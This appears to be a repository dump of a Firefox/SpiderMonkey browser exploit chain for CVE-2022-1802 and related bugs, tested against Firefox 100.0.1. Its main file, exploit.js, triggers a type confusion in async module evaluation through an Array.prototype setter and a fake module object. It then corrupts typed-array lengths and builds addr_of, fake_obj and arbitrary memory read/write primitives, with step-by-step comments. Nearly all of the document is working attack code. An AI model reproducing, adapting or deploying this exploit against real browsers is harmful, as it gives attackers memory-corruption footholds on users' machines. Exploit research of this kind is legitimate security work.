exploit

[ { "path": "1.mjs", "content": "import \"./2.mjs\";\r\nfunction one() {\r\n return 42;\r\n}\r\nawait one();" }, { "path": "2.mjs", "content": "function two() {\r\n return 42;\r\n} \r\nawait two();" }, { "path": "README.md", "content": "# CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200\r\nTested against Firefox 100.0.1 (Windows)\r\nhttps://ftp.mozilla.org/pub/firefox/releases/100.0.1/win64/en-US/Firefox%20Setup%20100.0.1.exe" }, { "path": "crash.html", "content": "\r\n\r\n\r\n\r\n\r\nexploit\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n" }, { "path": "exploit.html", "content": "\r\n\r\n\r\n\r\n\r\nexploit\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n\r\n" }, { "path": "exploit.js", "content": "//CVE-2022-1802\r\n\r\nvar call_count = 0;\r\nvar do_capture = false;\r\n\r\nvar fake_mod = null;\r\nvar oob_arr = null;\r\n\r\nvar tmp_u32_arr1 = null;\r\nvar tmp_u32_arr2 = null;\r\n\r\nvar ab1 = null;\r\nlet ab1_view = null;\r\n\r\nvar ab2 = null;\r\n\r\nfunction hex(val) {\r\n val = Number(val);\r\n let result = \"0x\" + val.toString(16);\r\n return result;\r\n}\r\n\r\nObject.defineProperty(BigInt.prototype, \"lo\", {\r\n get: function() {\r\n let lo = this & 0xFFFFFFFFn;\r\n return Number(lo);\r\n }\r\n});\r\nObject.defineProperty(BigInt.prototype, \"hi\", {\r\n get: function() {\r\n let hi = (this >> 32n) & 0xFFFFFFFFn;\r\n return Number(hi);\r\n }\r\n});\r\n\r\nfunction garbage_collect() {\r\n for(let i = 0; i < 3; i++) {\r\n new ArrayBuffer(128 * 1024 * 1024);\r\n }\r\n}\r\n\r\n//The best way to understand this is to set a breakpoint on this line\r\n//https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2288\r\n//and start single stepping.\r\n\r\nfunction allocate_objects() {\r\n //ArrayBuffer's are allocated on the Tenured heap\r\n ab1 = new ArrayBuffer(8);\r\n ab2 = new ArrayBuffer(8);\r\n ab2.a = 0x1337;\r\n \r\n //These objects are allocated on the Nursery heap\r\n \r\n let fake_script = {};\r\n\r\n //From DOARE:\r\n // new Array vs [] ensures that the array is allocated\r\n // from the nursery as it does in firefox. But not in js.exe.\r\n //\r\n oob_arr = new Array(); \r\n\r\n //These properties are allocated inline from the fake_mod JS object\r\n //Interestingly if you execute this same line in the global scope\r\n //the object gets allocated directly on the Tenured heap.\r\n fake_mod = {\r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L1231\r\n ScriptSlot: fake_script, //self->script()\r\n EnvironmentSlot: 0x11111111,\r\n NamespaceSlot: 0x22222222,\r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L879\r\n StatusSlot: 0, // if (status() < MODULE_STATUS_LINKED)\r\n };\r\n //Writing 7 elements causes the elements_ array of oob_arr to be reallocated\r\n //directly after fake_mod\r\n for(let i = 0; i < 7; i++) {\r\n oob_arr[i] = 0x11111111;\r\n }\r\n \r\n tmp_u32_arr1 = new Uint32Array(4);\r\n tmp_u32_arr1.fill(0x66);\r\n \r\n tmp_u32_arr2 = new Uint32Array(0x10);\r\n tmp_u32_arr2.ab1 = ab1;\r\n tmp_u32_arr2.fill(0x77);\r\n \r\n \r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2295\r\n fake_mod.AsyncSlot = false; // m->isAsync()\r\n \r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2290\r\n fake_mod.AsyncEvaluatingPostOrderSlot = true; // m->isAsyncEvaluating()\r\n \r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2359\r\n fake_mod.TopLevelCapabilitySlot = undefined; // if (module->hasTopLevelCapability())\r\n \r\n //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2355\r\n fake_mod.AsyncParentModulesSlot = undefined; // placeholder\r\n \r\n //console.log(\"0x\" + objectAddress(ab1));\r\n //console.log(\"0x\" + objectAddress(ab2));\r\n //console.log(\"0x\" + objectAddress(fake_script));\r\n //console.log(\"0x\" + objectAddress(oob_arr));\r\n //console.log(\"0x\" + objectAddress(fake_mod));\r\n //console.log(\"0x\" + objectAddress(tmp_u32_arr1));\r\n //console.log(\"0x\" + objectAddress(tmp_u32_arr2));\r\n //console.log(\"0x\" + objectAddress(allocate_objects));\r\n}\r\n\r\nfunction setter(original) {\r\n try {\r\n console.log(\"Array.prototype[0] setter called\");\r\n Reflect.deleteProperty(Array.prototype, \"0\");\r\n this[0] = original;\r\n \r\n //The self-hosted Module.js is not explicitly visible to us\r\n //and .caller will be reported as null\r\n if(do_capture && arguments.callee.caller == null) {\r\n if(call_count == 0) {\r\n let module = original;\r\n console.log(\"replacing module with fake_mod\");\r\n //This is really important as it allows the \"import(...)\" promise to be \r\n //rejected properly. This tells us when the initial corruption has completed.\r\n // AsyncModuleExecutionRejected(cx, parent, error)\r\n fake_mod.AsyncParentModulesSlot = [ module ];\r\n this[0] = fake_mod;\r\n }\r\n call_count++;\r\n }\r\n //install_setter();\r\n } catch(e) {\r\n console.log(e);\r\n }\r\n}\r\n\r\nfunction install_setter() {\r\n Object.defineProperty(Array.prototype, \"0\", {\r\n set: setter,\r\n configurable: true,\r\n });\r\n}\r\n\r\nfunction make_addr(lo, hi) {\r\n hi = BigInt(hi);\r\n lo = BigInt(lo);\r\n let result = ((hi << 32n) | lo);\r\n return result;\r\n}\r\n\r\nfunction tag_obj(addr) {\r\n let result = (0x1FFFCn << 47n) | addr;\r\n return result;\r\n}\r\n\r\nfunction untag_addr(addr) {\r\n let result = addr & (1n << 47n)-1n;\r\n return result;\r\n}\r\n\r\nfunction install_primitives() {\r\n garbage_collect();\r\n allocate_objects();\r\n install_setter();\r\n return new Promise((resolve, reject) => {\r\n do_capture = true;\r\n \r\n //trigger type confusion\r\n import(\"./1.mjs\").then(() => {\r\n return reject(new Error(\"This firefox version is not vulnerable!\"));\r\n }).catch(() => {\r\n console.log(\"corruption underway\");\r\n \r\n //overwrite length of tmp_u32_arr1 with a large value\r\n oob_arr[19] = 0xBEEF; \r\n \r\n if(tmp_u32_arr1.length == 4) {\r\n return reject(new Error(\"couldn't corrupt tmp_u32_arr1 :(\"));\r\n }\r\n \r\n //https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs\r\n //Uses @0vercl0k's technique of using 2 ArrayBuffers for stable primitives\r\n \r\n //read the pointer to ab1\r\n let ab1_addr = make_addr(tmp_u32_arr1[42], tmp_u32_arr1[43]);\r\n ab1_addr = untag_addr(ab1_addr);\r\n \r\n //overwrite tmp_u32_arr2's backing store to the address of ab1\r\n let tmp_u32_arr2_backing_store = make_addr(tmp_u32_arr1[22], tmp_u32_arr1[23]);\r\n tmp_u32_arr1[22] = ab1_addr.lo;\r\n tmp_u32_arr1[23] = ab1_addr.hi;\r\n \r\n //overwrite ab1's size\r\n tmp_u32_arr2[8] = 0x60; //0x58\r\n \r\n ab1_view = new Uint32Array(ab1);\r\n let original_ab2_store = make_addr(ab1_view[14], ab1_view[15]); \r\n \r\n //cleanup corrupted structures so GC doesn't crash\r\n tmp_u32_arr1[22] = tmp_u32_arr2_backing_store.lo;\r\n tmp_u32_arr1[23] = tmp_u32_arr2_backing_store.hi;\r\n \r\n let oob_arr_addr = addr_of(oob_arr);\r\n let oob_arr_elements = read_u64(oob_arr_addr + 0x10n);\r\n let oob_arr_elements_hdr_addr = oob_arr_elements - 0x10n;\r\n write_u32(oob_arr_elements_hdr_addr, 0);\r\n write_u32(oob_arr_elements_hdr_addr + 4n, 7);\r\n \r\n let tmp_u32_arr1_addr = addr_of(tmp_u32_arr1);\r\n let tmp_u32_arr1_len_addr = tmp_u32_arr1_addr + 0x20n;\r\n write_u32(tmp_u32_arr1_len_addr, 4);\r\n write_u32(tmp_u32_arr1_len_addr + 4n, 0);\r\n\r\n return resolve();\r\n }).finally(() => {\r\n do_capture = false;\r\n });\r\n });\r\n}\r\n\r\nfunction fake_obj(addr) {\r\n let tagged_addr = tag_obj(addr);\r\n \r\n let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);\r\n write_u64(ab2_slots_, tagged_addr);\r\n \r\n let result = ab2.a;\r\n \r\n ab2.a = null;\r\n \r\n return result;\r\n}\r\n\r\nfunction addr_of(obj) {\r\n ab2.a = obj;\r\n \r\n let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]);\r\n \r\n let addr = read_u64(ab2_slots_);\r\n \r\n let result = untag_addr(addr);\r\n \r\n ab2.a = null;\r\n \r\n return result;\r\n}\r\n\r\nfunction read_u16(addr) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint16Array(ab2);\r\n let result = view[0];\r\n\r\n return result;\r\n}\r\n\r\nfunction read_u32(addr) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint32Array(ab2);\r\n let result = view[0];\r\n\r\n return result;\r\n}\r\n\r\nfunction read_u64(addr) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint32Array(ab2);\r\n let lo = BigInt(view[0]);\r\n let hi = BigInt(view[1]);\r\n \r\n let result = (hi << 32n) | lo;\r\n \r\n return result;\r\n}\r\n\r\nfunction write_u8(addr, val) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint8Array(ab2);\r\n view[0] = val;\r\n}\r\n\r\nfunction write_u32(addr, val) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint32Array(ab2);\r\n view[0] = val;\r\n}\r\n\r\nfunction write_u64(addr, value) {\r\n if(addr instanceof Number) {\r\n addr = BigInt(addr);\r\n }\r\n if(value instanceof Number) {\r\n value = BigInt(value);\r\n }\r\n ab1_view[14] = addr.lo;\r\n ab1_view[15] = addr.hi;\r\n \r\n let view = new Uint32Array(ab2);\r\n view[0] = value.lo;\r\n view[1] = value.hi;\r\n}\r\n\r\nfunction pwn_test() {\r\n install_primitives().then(() => {\r\n console.log(\"primitives installed!\");\r\n }).catch((err) => {\r\n console.log(\"exploit failed :(\", err);\r\n });\r\n}\r\n\r\nif(this[\"window\"] == undefined) {\r\n pwn_test();\r\n}\r\n" } ]